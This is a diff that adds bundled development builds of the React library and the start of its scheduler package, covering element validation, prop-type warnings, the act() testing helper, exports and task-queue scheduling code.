+          var name = fn ? fn.displayName || fn.name : "";
+          var syntheticFrame = name ? describeBuiltInComponentFrame(name) : "";
+          {
+            if (typeof fn === "function") {
+              componentFrameCache.set(fn, syntheticFrame);
+            }
+          }
+          return syntheticFrame;
+        }
+        function describeFunctionComponentFrame(fn, source, ownerFn) {
+          {
+            return describeNativeComponentFrame(fn, false);
+          }
+        }
+        function shouldConstruct(Component2) {
+          var prototype = Component2.prototype;
+          return !!(prototype && prototype.isReactComponent);
+        }
+        function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
+          if (type == null) {
+            return "";
+          }
+          if (typeof type === "function") {
+            {
+              return describeNativeComponentFrame(type, shouldConstruct(type));
+            }
+          }
+          if (typeof type === "string") {
+            return describeBuiltInComponentFrame(type);
+          }
+          switch (type) {
+            case REACT_SUSPENSE_TYPE:
+              return describeBuiltInComponentFrame("Suspense");
+            case REACT_SUSPENSE_LIST_TYPE:
+              return describeBuiltInComponentFrame("SuspenseList");
+          }
+          if (typeof type === "object") {
+            switch (type.$$typeof) {
+              case REACT_FORWARD_REF_TYPE:
+                return describeFunctionComponentFrame(type.render);
+              case REACT_MEMO_TYPE:
+                return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
+              case REACT_LAZY_TYPE: {
+                var lazyComponent = type;
+                var payload = lazyComponent._payload;
+                var init = lazyComponent._init;
+                try {
+                  return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
+                } catch (x) {
+                }
+              }
+            }
+          }
+          return "";
+        }
+        var loggedTypeFailures = {};
+        var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
+        function setCurrentlyValidatingElement(element) {
+          {
+            if (element) {
+              var owner = element._owner;
+              var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
+              ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
+            } else {
+              ReactDebugCurrentFrame$1.setExtraStackFrame(null);
+            }
+          }
+        }
+        function checkPropTypes(typeSpecs, values, location, componentName, element) {
+          {
+            var has = Function.call.bind(hasOwnProperty);
+            for (var typeSpecName in typeSpecs) {
+              if (has(typeSpecs, typeSpecName)) {
+                var error$1 = void 0;
+                try {
+                  if (typeof typeSpecs[typeSpecName] !== "function") {
+                    var err = Error((componentName || "React class") + ": " + location + " type `" + typeSpecName + "` is invalid; it must be a function, usually from the `prop-types` package, but received `" + typeof typeSpecs[typeSpecName] + "`.This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.");
+                    err.name = "Invariant Violation";
+                    throw err;
+                  }
+                  error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, "SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED");
+                } catch (ex) {
+                  error$1 = ex;
+                }
+                if (error$1 && !(error$1 instanceof Error)) {
+                  setCurrentlyValidatingElement(element);
+                  error("%s: type specification of %s `%s` is invalid; the type checker function must return `null` or an `Error` but returned a %s. You may have forgotten to pass an argument to the type checker creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and shape all require an argument).", componentName || "React class", location, typeSpecName, typeof error$1);
+                  setCurrentlyValidatingElement(null);
+                }
+                if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
+                  loggedTypeFailures[error$1.message] = true;
+                  setCurrentlyValidatingElement(element);
+                  error("Failed %s type: %s", location, error$1.message);
+                  setCurrentlyValidatingElement(null);
+                }
+              }
+            }
+          }
+        }
+        function setCurrentlyValidatingElement$1(element) {
+          {
+            if (element) {
+              var owner = element._owner;
+              var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
+              setExtraStackFrame(stack);
+            } else {
+              setExtraStackFrame(null);
+            }
+          }
+        }
+        var propTypesMisspellWarningShown;
+        {
+          propTypesMisspellWarningShown = false;
+        }
+        function getDeclarationErrorAddendum() {
+          if (ReactCurrentOwner.current) {
+            var name = getComponentNameFromType(ReactCurrentOwner.current.type);
+            if (name) {
+              return "\n\nCheck the render method of `" + name + "`.";
+            }
+          }
+          return "";
+        }
+        function getSourceInfoErrorAddendum(source) {
+          if (source !== void 0) {
+            var fileName = source.fileName.replace(/^.*[\\\/]/, "");
+            var lineNumber = source.lineNumber;
+            return "\n\nCheck your code at " + fileName + ":" + lineNumber + ".";
+          }
+          return "";
+        }
+        function getSourceInfoErrorAddendumForProps(elementProps) {
+          if (elementProps !== null && elementProps !== void 0) {
+            return getSourceInfoErrorAddendum(elementProps.__source);
+          }
+          return "";
+        }
+        var ownerHasKeyUseWarning = {};
+        function getCurrentComponentErrorInfo(parentType) {
+          var info = getDeclarationErrorAddendum();
+          if (!info) {
+            var parentName = typeof parentType === "string" ? parentType : parentType.displayName || parentType.name;
+            if (parentName) {
+              info = "\n\nCheck the top-level render call using <" + parentName + ">.";
+            }
+          }
+          return info;
+        }
+        function validateExplicitKey(element, parentType) {
+          if (!element._store || element._store.validated || element.key != null) {
+            return;
+          }
+          element._store.validated = true;
+          var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);
+          if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
+            return;
+          }
+          ownerHasKeyUseWarning[currentComponentErrorInfo] = true;
+          var childOwner = "";
+          if (element && element._owner && element._owner !== ReactCurrentOwner.current) {
+            childOwner = " It was passed a child from " + getComponentNameFromType(element._owner.type) + ".";
+          }
+          {
+            setCurrentlyValidatingElement$1(element);
+            error('Each child in a list should have a unique "key" prop.%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);
+            setCurrentlyValidatingElement$1(null);
+          }
+        }
+        function validateChildKeys(node, parentType) {
+          if (typeof node !== "object") {
+            return;
+          }
+          if (isArray(node)) {
+            for (var i2 = 0; i2 < node.length; i2++) {
+              var child = node[i2];
+              if (isValidElement(child)) {
+                validateExplicitKey(child, parentType);
+              }
+            }
+          } else if (isValidElement(node)) {
+            if (node._store) {
+              node._store.validated = true;
+            }
+          } else if (node) {
+            var iteratorFn = getIteratorFn(node);
+            if (typeof iteratorFn === "function") {
+              if (iteratorFn !== node.entries) {
+                var iterator = iteratorFn.call(node);
+                var step;
+                while (!(step = iterator.next()).done) {
+                  if (isValidElement(step.value)) {
+                    validateExplicitKey(step.value, parentType);
+                  }
+                }
+              }
+            }
+          }
+        }
+        function validatePropTypes(element) {
+          {
+            var type = element.type;
+            if (type === null || type === void 0 || typeof type === "string") {
+              return;
+            }
+            var propTypes;
+            if (typeof type === "function") {
+              propTypes = type.propTypes;
+            } else if (typeof type === "object" && (type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_MEMO_TYPE)) {
+              propTypes = type.propTypes;
+            } else {
+              return;
+            }
+            if (propTypes) {
+              var name = getComponentNameFromType(type);
+              checkPropTypes(propTypes, element.props, "prop", name, element);
+            } else if (type.PropTypes !== void 0 && !propTypesMisspellWarningShown) {
+              propTypesMisspellWarningShown = true;
+              var _name = getComponentNameFromType(type);
+              error("Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?", _name || "Unknown");
+            }
+            if (typeof type.getDefaultProps === "function" && !type.getDefaultProps.isReactClassApproved) {
+              error("getDefaultProps is only used on classic React.createClass definitions. Use a static property named `defaultProps` instead.");
+            }
+          }
+        }
+        function validateFragmentProps(fragment) {
+          {
+            var keys = Object.keys(fragment.props);
+            for (var i2 = 0; i2 < keys.length; i2++) {
+              var key = keys[i2];
+              if (key !== "children" && key !== "key") {
+                setCurrentlyValidatingElement$1(fragment);
+                error("Invalid prop `%s` supplied to `React.Fragment`. React.Fragment can only have `key` and `children` props.", key);
+                setCurrentlyValidatingElement$1(null);
+                break;
+              }
+            }
+            if (fragment.ref !== null) {
+              setCurrentlyValidatingElement$1(fragment);
+              error("Invalid attribute `ref` supplied to `React.Fragment`.");
+              setCurrentlyValidatingElement$1(null);
+            }
+          }
+        }
+        function createElementWithValidation(type, props, children) {
+          var validType = isValidElementType(type);
+          if (!validType) {
+            var info = "";
+            if (type === void 0 || typeof type === "object" && type !== null && Object.keys(type).length === 0) {
+              info += " You likely forgot to export your component from the file it's defined in, or you might have mixed up default and named imports.";
+            }
+            var sourceInfo = getSourceInfoErrorAddendumForProps(props);
+            if (sourceInfo) {
+              info += sourceInfo;
+            } else {
+              info += getDeclarationErrorAddendum();
+            }
+            var typeString;
+            if (type === null) {
+              typeString = "null";
+            } else if (isArray(type)) {
+              typeString = "array";
+            } else if (type !== void 0 && type.$$typeof === REACT_ELEMENT_TYPE) {
+              typeString = "<" + (getComponentNameFromType(type.type) || "Unknown") + " />";
+              info = " Did you accidentally export a JSX literal instead of a component?";
+            } else {
+              typeString = typeof type;
+            }
+            {
+              error("React.createElement: type is invalid -- expected a string (for built-in components) or a class/function (for composite components) but got: %s.%s", typeString, info);
+            }
+          }
+          var element = createElement2.apply(this, arguments);
+          if (element == null) {
+            return element;
+          }
+          if (validType) {
+            for (var i2 = 2; i2 < arguments.length; i2++) {
+              validateChildKeys(arguments[i2], type);
+            }
+          }
+          if (type === REACT_FRAGMENT_TYPE) {
+            validateFragmentProps(element);
+          } else {
+            validatePropTypes(element);
+          }
+          return element;
+        }
+        var didWarnAboutDeprecatedCreateFactory = false;
+        function createFactoryWithValidation(type) {
+          var validatedFactory = createElementWithValidation.bind(null, type);
+          validatedFactory.type = type;
+          {
+            if (!didWarnAboutDeprecatedCreateFactory) {
+              didWarnAboutDeprecatedCreateFactory = true;
+              warn("React.createFactory() is deprecated and will be removed in a future major release. Consider using JSX or use React.createElement() directly instead.");
+            }
+            Object.defineProperty(validatedFactory, "type", {
+              enumerable: false,
+              get: function() {
+                warn("Factory.type is deprecated. Access the class directly before passing it to createFactory.");
+                Object.defineProperty(this, "type", {
+                  value: type
+                });
+                return type;
+              }
+            });
+          }
+          return validatedFactory;
+        }
+        function cloneElementWithValidation(element, props, children) {
+          var newElement = cloneElement.apply(this, arguments);
+          for (var i2 = 2; i2 < arguments.length; i2++) {
+            validateChildKeys(arguments[i2], newElement.type);
+          }
+          validatePropTypes(newElement);
+          return newElement;
+        }
+        function startTransition(scope, options) {
+          var prevTransition = ReactCurrentBatchConfig.transition;
+          ReactCurrentBatchConfig.transition = {};
+          var currentTransition = ReactCurrentBatchConfig.transition;
+          {
+            ReactCurrentBatchConfig.transition._updatedFibers = /* @__PURE__ */ new Set();
+          }
+          try {
+            scope();
+          } finally {
+            ReactCurrentBatchConfig.transition = prevTransition;
+            {
+              if (prevTransition === null && currentTransition._updatedFibers) {
+                var updatedFibersCount = currentTransition._updatedFibers.size;
+                if (updatedFibersCount > 10) {
+                  warn("Detected a large number of updates inside startTransition. If this is due to a subscription please re-write it to use React provided hooks. Otherwise concurrent mode guarantees are off the table.");
+                }
+                currentTransition._updatedFibers.clear();
+              }
+            }
+          }
+        }
+        var didWarnAboutMessageChannel = false;
+        var enqueueTaskImpl = null;
+        function enqueueTask(task) {
+          if (enqueueTaskImpl === null) {
+            try {
+              var requireString = ("require" + Math.random()).slice(0, 7);
+              var nodeRequire = module2 && module2[requireString];
+              enqueueTaskImpl = nodeRequire.call(module2, "timers").setImmediate;
+            } catch (_err) {
+              enqueueTaskImpl = function(callback) {
+                {
+                  if (didWarnAboutMessageChannel === false) {
+                    didWarnAboutMessageChannel = true;
+                    if (typeof MessageChannel === "undefined") {
+                      error("This browser does not have a MessageChannel implementation, so enqueuing tasks via await act(async () => ...) will fail. Please file an issue at https://github.com/facebook/react/issues if you encounter this warning.");
+                    }
+                  }
+                }
+                var channel = new MessageChannel();
+                channel.port1.onmessage = callback;
+                channel.port2.postMessage(void 0);
+              };
+            }
+          }
+          return enqueueTaskImpl(task);
+        }
+        var actScopeDepth = 0;
+        var didWarnNoAwaitAct = false;
+        function act(callback) {
+          {
+            var prevActScopeDepth = actScopeDepth;
+            actScopeDepth++;
+            if (ReactCurrentActQueue.current === null) {
+              ReactCurrentActQueue.current = [];
+            }
+            var prevIsBatchingLegacy = ReactCurrentActQueue.isBatchingLegacy;
+            var result;
+            try {
+              ReactCurrentActQueue.isBatchingLegacy = true;
+              result = callback();
+              if (!prevIsBatchingLegacy && ReactCurrentActQueue.didScheduleLegacyUpdate) {
+                var queue = ReactCurrentActQueue.current;
+                if (queue !== null) {
+                  ReactCurrentActQueue.didScheduleLegacyUpdate = false;
+                  flushActQueue(queue);
+                }
+              }
+            } catch (error2) {
+              popActScope(prevActScopeDepth);
+              throw error2;
+            } finally {
+              ReactCurrentActQueue.isBatchingLegacy = prevIsBatchingLegacy;
+            }
+            if (result !== null && typeof result === "object" && typeof result.then === "function") {
+              var thenableResult = result;
+              var wasAwaited = false;
+              var thenable = {
+                then: function(resolve, reject) {
+                  wasAwaited = true;
+                  thenableResult.then(function(returnValue2) {
+                    popActScope(prevActScopeDepth);
+                    if (actScopeDepth === 0) {
+                      recursivelyFlushAsyncActWork(returnValue2, resolve, reject);
+                    } else {
+                      resolve(returnValue2);
+                    }
+                  }, function(error2) {
+                    popActScope(prevActScopeDepth);
+                    reject(error2);
+                  });
+                }
+              };
+              {
+                if (!didWarnNoAwaitAct && typeof Promise !== "undefined") {
+                  Promise.resolve().then(function() {
+                  }).then(function() {
+                    if (!wasAwaited) {
+                      didWarnNoAwaitAct = true;
+                      error("You called act(async () => ...) without await. This could lead to unexpected testing behaviour, interleaving multiple act calls and mixing their scopes. You should - await act(async () => ...);");
+                    }
+                  });
+                }
+              }
+              return thenable;
+            } else {
+              var returnValue = result;
+              popActScope(prevActScopeDepth);
+              if (actScopeDepth === 0) {
+                var _queue = ReactCurrentActQueue.current;
+                if (_queue !== null) {
+                  flushActQueue(_queue);
+                  ReactCurrentActQueue.current = null;
+                }
+                var _thenable = {
+                  then: function(resolve, reject) {
+                    if (ReactCurrentActQueue.current === null) {
+                      ReactCurrentActQueue.current = [];
+                      recursivelyFlushAsyncActWork(returnValue, resolve, reject);
+                    } else {
+                      resolve(returnValue);
+                    }
+                  }
+                };
+                return _thenable;
+              } else {
+                var _thenable2 = {
+                  then: function(resolve, reject) {
+                    resolve(returnValue);
+                  }
+                };
+                return _thenable2;
+              }
+            }
+          }
+        }
+        function popActScope(prevActScopeDepth) {
+          {
+            if (prevActScopeDepth !== actScopeDepth - 1) {
+              error("You seem to have overlapping act() calls, this is not supported. Be sure to await previous act() calls before making a new one. ");
+            }
+            actScopeDepth = prevActScopeDepth;
+          }
+        }
+        function recursivelyFlushAsyncActWork(returnValue, resolve, reject) {
+          {
+            var queue = ReactCurrentActQueue.current;
+            if (queue !== null) {
+              try {
+                flushActQueue(queue);
+                enqueueTask(function() {
+                  if (queue.length === 0) {
+                    ReactCurrentActQueue.current = null;
+                    resolve(returnValue);
+                  } else {
+                    recursivelyFlushAsyncActWork(returnValue, resolve, reject);
+                  }
+                });
+              } catch (error2) {
+                reject(error2);
+              }
+            } else {
+              resolve(returnValue);
+            }
+          }
+        }
+        var isFlushing = false;
+        function flushActQueue(queue) {
+          {
+            if (!isFlushing) {
+              isFlushing = true;
+              var i2 = 0;
+              try {
+                for (; i2 < queue.length; i2++) {
+                  var callback = queue[i2];
+                  do {
+                    callback = callback(true);
+                  } while (callback !== null);
+                }
+                queue.length = 0;
+              } catch (error2) {
+                queue = queue.slice(i2 + 1);
+                throw error2;
+              } finally {
+                isFlushing = false;
+              }
+            }
+          }
+        }
+        var createElement$1 = createElementWithValidation;
+        var cloneElement$1 = cloneElementWithValidation;
+        var createFactory = createFactoryWithValidation;
+        var Children = {
+          map: mapChildren,
+          forEach: forEachChildren,
+          count: countChildren,
+          toArray,
+          only: onlyChild
+        };
+        exports.Children = Children;
+        exports.Component = Component;
+        exports.Fragment = REACT_FRAGMENT_TYPE;
+        exports.Profiler = REACT_PROFILER_TYPE;
+        exports.PureComponent = PureComponent;
+        exports.StrictMode = REACT_STRICT_MODE_TYPE;
+        exports.Suspense = REACT_SUSPENSE_TYPE;
+        exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = ReactSharedInternals;
+        exports.cloneElement = cloneElement$1;
+        exports.createContext = createContext4;
+        exports.createElement = createElement$1;
+        exports.createFactory = createFactory;
+        exports.createRef = createRef;
+        exports.forwardRef = forwardRef;
+        exports.isValidElement = isValidElement;
+        exports.lazy = lazy;
+        exports.memo = memo;
+        exports.startTransition = startTransition;
+        exports.unstable_act = act;
+        exports.useCallback = useCallback;
+        exports.useContext = useContext4;
+        exports.useDebugValue = useDebugValue;
+        exports.useDeferredValue = useDeferredValue;
+        exports.useEffect = useEffect2;
+        exports.useId = useId;
+        exports.useImperativeHandle = useImperativeHandle;
+        exports.useInsertionEffect = useInsertionEffect;
+        exports.useLayoutEffect = useLayoutEffect;
+        exports.useMemo = useMemo;
+        exports.useReducer = useReducer;
+        exports.useRef = useRef;
+        exports.useState = useState2;
+        exports.useSyncExternalStore = useSyncExternalStore;
+        exports.useTransition = useTransition;
+        exports.version = ReactVersion;
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(new Error());
+        }
+      })();
+    }
+  }
+});
+
+// node_modules/react/index.js
+var require_react = __commonJS({
+  "node_modules/react/index.js"(exports, module2) {
+    "use strict";
+    if (false) {
+      module2.exports = null;
+    } else {
+      module2.exports = require_react_development();
+    }
+  }
+});
+
+// node_modules/scheduler/cjs/scheduler.development.js
+var require_scheduler_development = __commonJS({
+  "node_modules/scheduler/cjs/scheduler.development.js"(exports) {
+    "use strict";
+    if (true) {
+      (function() {
+        "use strict";
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(new Error());
+        }
+        var enableSchedulerDebugging = false;
+        var enableProfiling = false;
+        var frameYieldMs = 5;
+        function push(heap, node) {
+          var index = heap.length;
+          heap.push(node);
+          siftUp(heap, node, index);
+        }
+        function peek(heap) {
+          return heap.length === 0 ? null : heap[0];
+        }
+        function pop(heap) {
+          if (heap.length === 0) {
+            return null;
+          }
+          var first = heap[0];
+          var last = heap.pop();
+          if (last !== first) {
+            heap[0] = last;
+            siftDown(heap, last, 0);
+          }
+          return first;
+        }
+        function siftUp(heap, node, i2) {
+          var index = i2;
+          while (index > 0) {
+            var parentIndex = index - 1 >>> 1;
+            var parent = heap[parentIndex];
+            if (compare(parent, node) > 0) {
+              heap[parentIndex] = node;
+              heap[index] = parent;
+              index = parentIndex;
+            } else {
+              return;
+            }
+          }
+        }
+        function siftDown(heap, node, i2) {
+          var index = i2;
+          var length = heap.length;
+          var halfLength = length >>> 1;
+          while (index < halfLength) {
+            var leftIndex = (index + 1) * 2 - 1;
+            var left = heap[leftIndex];
+            var rightIndex = leftIndex + 1;
+            var right = heap[rightIndex];
+            if (compare(left, node) < 0) {
+              if (rightIndex < length && compare(right, left) < 0) {
+                heap[index] = right;
+                heap[rightIndex] = node;
+                index = rightIndex;
+              } else {
+                heap[index] = left;
+                heap[leftIndex] = node;
+                index = leftIndex;
+              }
+            } else if (rightIndex < length && compare(right, node) < 0) {
+              heap[index] = right;
+              heap[rightIndex] = node;
+              index = rightIndex;
+            } else {
+              return;
+            }
+          }
+        }
+        function compare(a2, b2) {
+          var diff = a2.sortIndex - b2.sortIndex;
+          return diff !== 0 ? diff : a2.id - b2.id;
+        }
+        var ImmediatePriority = 1;
+        var UserBlockingPriority = 2;
+        var NormalPriority = 3;
+        var LowPriority = 4;
+        var IdlePriority = 5;
+        function markTaskErrored(task, ms) {
+        }
+        var hasPerformanceNow = typeof performance === "object" && typeof performance.now === "function";
+        if (hasPerformanceNow) {
+          var localPerformance = performance;
+          exports.unstable_now = function() {
+            return localPerformance.now();
+          };
+        } else {
+          var localDate = Date;
+          var initialTime = localDate.now();
+          exports.unstable_now = function() {
+            return localDate.now() - initialTime;
+          };
+        }
+        var maxSigned31BitInt = 1073741823;
+        var IMMEDIATE_PRIORITY_TIMEOUT = -1;
+        var USER_BLOCKING_PRIORITY_TIMEOUT = 250;
+        var NORMAL_PRIORITY_TIMEOUT = 5e3;
+        var LOW_PRIORITY_TIMEOUT = 1e4;
+        var IDLE_PRIORITY_TIMEOUT = maxSigned31BitInt;
+        var taskQueue = [];
+        var timerQueue = [];
+        var taskIdCounter = 1;
+        var currentTask = null;
+        var currentPriorityLevel = NormalPriority;
+        var isPerformingWork = false;
+        var isHostCallbackScheduled = false;
+        var isHostTimeoutScheduled = false;
+        var localSetTimeout = typeof setTimeout === "function" ? setTimeout : null;
+        var localClearTimeout = typeof clearTimeout === "function" ? clearTimeout : null;
+        var localSetImmediate = typeof setImmediate !== "undefined" ? setImmediate : null;
+        var isInputPending = typeof navigator !== "undefined" && navigator.scheduling !== void 0 && navigator.scheduling.isInputPending !== void 0 ? navigator.scheduling.isInputPending.bind(navigator.scheduling) : null;
+        function advanceTimers(currentTime) {
+          var timer = peek(timerQueue);
+          while (timer !== null) {
+            if (timer.callback === null) {
+              pop(timerQueue);
+            } else if (timer.startTime <= currentTime) {
+              pop(timerQueue);
+              timer.sortIndex = timer.expirationTime;
+              push(taskQueue, timer);
+            } else {
+              return;
+            }
+            timer = peek(timerQueue);
+          }
+        }
+        function handleTimeout(currentTime) {
+          isHostTimeoutScheduled = false;
+          advanceTimers(currentTime);
+          if (!isHostCallbackScheduled) {
+            if (peek(taskQueue) !== null) {
+              isHostCallbackScheduled = true;
+              requestHostCallback(flushWork);
+            } else {
+              var firstTimer = peek(timerQueue);
+              if (firstTimer !== null) {
+                requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
+              }
+            }
+          }
+        }
+        function flushWork(hasTimeRemaining, initialTime2) {
+          isHostCallbackScheduled = false;
+          if (isHostTimeoutScheduled) {
+            isHostTimeoutScheduled = false;
+            cancelHostTimeout();
+          }
+          isPerformingWork = true;
+          var previousPriorityLevel = currentPriorityLevel;
+          try {
+            if (enableProfiling) {
+              try {
+                return workLoop(hasTimeRemaining, initialTime2);
+              } catch (error) {
+                if (currentTask !== null) {
+                  var currentTime = exports.unstable_now();
+                  markTaskErrored(currentTask, currentTime);
+                  currentTask.isQueued = false;
+                }
+                throw error;
+              }
+            } else {
+              return workLoop(hasTimeRemaining, initialTime2);
+            }
+          } finally {
+            currentTask = null;
+            currentPriorityLevel = previousPriorityLevel;
+            isPerformingWork = false;
+          }
+        }
+        function workLoop(hasTimeRemaining, initialTime2) {
+          var currentTime = initialTime2;
+          advanceTimers(currentTime);
+          currentTask = peek(taskQueue);
+          while (currentTask !== null && !enableSchedulerDebugging) {
+            if (currentTask.expirationTime > currentTime && (!hasTimeRemaining || shouldYieldToHost())) {
+              break;
+            }
+            var callback = currentTask.callback;
+            if (typeof callback === "function") {
+              currentTask.callback = null;
+              currentPriorityLevel = currentTask.priorityLevel;
+              var didUserCallbackTimeout = currentTask.expirationTime <= currentTime;
+              var continuationCallback = callback(didUserCallbackTimeout);
+              currentTime = exports.unstable_now();
+              if (typeof continuationCallback === "function") {
+                currentTask.callback = continuationCallback;
+              } else {
+                if (currentTask === peek(taskQueue)) {
+                  pop(taskQueue);
+                }
+              }
+              advanceTimers(currentTime);
+            } else {
+              pop(taskQueue);
+            }
+            currentTask = peek(taskQueue);
+          }
+          if (currentTask !== null) {
+            return true;
+          } else {
+            var firstTimer = peek(timerQueue);
+            if (firstTimer !== null) {
+              requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
+            }
+            return false;
+          }
+        }
+        function unstable_runWithPriority(priorityLevel, eventHandler) {
+          switch (priorityLevel) {
+            case ImmediatePriority:
+            case UserBlockingPriority:
+            case NormalPriority:
+            case LowPriority:
+            case IdlePriority:
+              break;
+            default:
+              priorityLevel = NormalPriority;
+          }
+          var previousPriorityLevel = currentPriorityLevel;
+          currentPriorityLevel = priorityLevel;
+          try {
+            return eventHandler();
+          } finally {
+            currentPriorityLevel = previousPriorityLevel;
+          }
+        }
+        function unstable_next(eventHandler) {
+          var priorityLevel;
+          switch (currentPriorityLevel) {
+            case ImmediatePriority:
+            case UserBlockingPriority:
+            case NormalPriority:
+              priorityLevel = NormalPriority;
+              break;
+            default:
+              priorityLevel = currentPriorityLevel;
+              break;
+          }
+          var previousPriorityLevel = currentPriorityLevel;
+          currentPriorityLevel = priorityLevel;
+          try {
+            return eventHandler();
+          } finally {
+            currentPriorityLevel = previousPriorityLevel;
+          }
+        }
+        function unstable_wrapCallback(callback) {
+          var parentPriorityLevel = currentPriorityLevel;
+          return function() {
+            var previousPriorityLevel = currentPriorityLevel;
+            currentPriorityLevel = parentPriorityLevel;
+            try {
+              return callback.apply(this, arguments);
+            } finally {
+              currentPriorityLevel = previousPriorityLevel;
+            }
+          };
+        }
+        function unstable_scheduleCallback(priorityLevel, callback, options) {
+          var currentTime = exports.unstable_now();
+          var startTime2;
+          if (typeof options === "object" && options !== null) {
+            var delay = options.delay;
+            if (typeof delay === "number" && delay > 0) {
+              startTime2 = currentTime + delay;
+            } else {
+              startTime2 = currentTime;
+            }
+          } else {
+            startTime2 = currentTime;
+          }
+          var timeout;
+          switch (priorityLevel) {
+            case ImmediatePriority:
+              timeout = IMMEDIATE_PRIORITY_TIMEOUT;
+              break;
+            case UserBlockingPriority:
+              timeout = USER_BLOCKING_PRIORITY_TIMEOUT;
+              break;
+            case IdlePriority:
+              timeout = IDLE_PRIORITY_TIMEOUT;
+              break;
+            case LowPriority:
+              timeout = LOW_PRIORITY_TIMEOUT;
+              break;
+            case NormalPriority:
+            default:
+              timeout = NORMAL_PRIORITY_TIMEOUT;
+              break;
+          }
+          var expirationTime = startTime2 + timeout;
+          var newTask = {
+            id: taskIdCounter++,
+            callback,
+            priorityLevel,
+            startTime: startTime2,
+            expirationTime,
+            sortIndex: -1
+          };
+          if (startTime2 > currentTime) {
+            newTask.sortIndex = startTime2;
+            push(timerQueue, newTask);
+            if (peek(taskQueue) === null && newTask === peek(timerQueue)) {
+              if (isHostTimeoutScheduled) {
+                cancelHostTimeout();
+              } else {
+                isHostTimeoutScheduled = true;
+              }
+              requestHostTimeout(handleTimeout, startTime2 - currentTime);
+            }
+          } else {
+            newTask.sortIndex = expirationTime;
+            push(taskQueue, newTask);
+            if (!isHostCallbackScheduled && !isPerformingWork) {
+              isHostCallbackScheduled = true;
+              requestHostCallback(flushWork);
+            }
+          }
+          return newTask;
+        }
+        function unstable_pauseExecution() {
+        }
+        function unstable_continueExecution() {
+          if (!isHostCallbackScheduled && !isPerformingWork) {
+            isHostCallbackScheduled = true;
+            requestHostCallback(flushWork);
+          }
+        }
+        function unstable_getFirstCallbackNode() {
+          return peek(taskQueue);
+        }
+        function unstable_cancelCallback(task) {
+          task.callback = null;
+        }
+        function unstable_getCurrentPriorityLevel() {
+          return currentPriorityLevel;
+        }
+        var isMessageLoopRunning = false;
+        var scheduledHostCallback = null;
+        var taskTimeoutID = -1;
+        var frameInterval = frameYieldMs;
+        var startTime = -1;
+        function shouldYieldToHost() {
+          var timeElapsed = exports.unstable_now() - startTime;
+          if (timeElapsed < frameInterval) {
+            return false;
+          }
+          return true;
+        }
+        function requestPaint() {
+        }
+        function forceFrameRate(fps) {
+          if (fps < 0 || fps > 125) {
+            console["error"]("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported");
+            return;
+          }
+          if (fps > 0) {
+            frameInterval = Math.floor(1e3 / fps);
+          } else {
+            frameInterval = frameYieldMs;
+          }
+        }
+        var performWorkUntilDeadline = function() {
+          if (scheduledHostCallback !== null) {
+            var currentTime = exports.unstable_now();
+            startTime = currentTime;
+            var hasTimeRemaining = true;
+            var hasMoreWork = true;
+            try {
+              hasMoreWork = scheduledHostCallback(hasTimeRemaining, currentTime);
+            } finally {
+              if (hasMoreWork) {
+                schedulePerformWorkUntilDeadline();
+              } else {
+                isMessageLoopRunning = false;
+                scheduledHostCallback = null;
+              }
+            }
+          } else {
+            isMessageLoopRunning = false;
+          }
+        };
+        var schedulePerformWorkUntilDeadline;
+        if (typeof localSetImmediate === "function") {
+          schedulePerformWorkUntilDeadline = function() {
+            localSetImmediate(performWorkUntilDeadline);
+          };
+        } else if (typeof MessageChannel !== "undefined") {
+          var channel = new MessageChannel();
+          var port = channel.port2;
+          channel.port1.onmessage = performWorkUntilDeadline;
+          schedulePerformWorkUntilDeadline = function() {
+            port.postMessage(null);
+          };
+        } else {
+          schedulePerformWorkUntilDeadline = function() {
+            localSetTimeout(performWorkUntilDeadline, 0);
+          };
+        }
+        function requestHostCallback(callback) {
+          scheduledHostCallback = callback;
+          if (!isMessageLoopRunning) {
+            isMessageLoopRunning = true;
+            schedulePerformWorkUntilDeadline();
+          }
+        }
+        function requestHostTimeout(callback, ms) {
+          taskTimeoutID = localSetTimeout(function() {
+            callback(exports.unstable_now());
+          }, ms);
+        }
+        function cancelHostTimeout() {
+          localClearTimeout(taskTimeoutID);
+          taskTimeoutID = -1;
+        }
+        var unstable_requestPaint = requestPaint;
+        var unstable_Profiling = null;
+        exports.unstable_IdlePriority = IdlePriority;
+        exports.unstable_ImmediatePriority = ImmediatePriority;
+        exports.unstable_LowPriority = LowPriority;
+        exports.unstable_NormalPriority = NormalPriority;
+        exports.unstable_Profiling = unstable_Profiling;
+        exports.unstable_UserBlockingPriority = UserBlockingPriority;
+        exports.unstable_cancelCallback = unstable_cancelCallback;
+        exports.unstable_continueExecution = unstable_continueExecution;
+        exports.unstable_forceFrameRate = forceFrameRate;
+        exports.unstable_getCurrentPriorityLevel = unstable_getCurrentPriorityLevel;
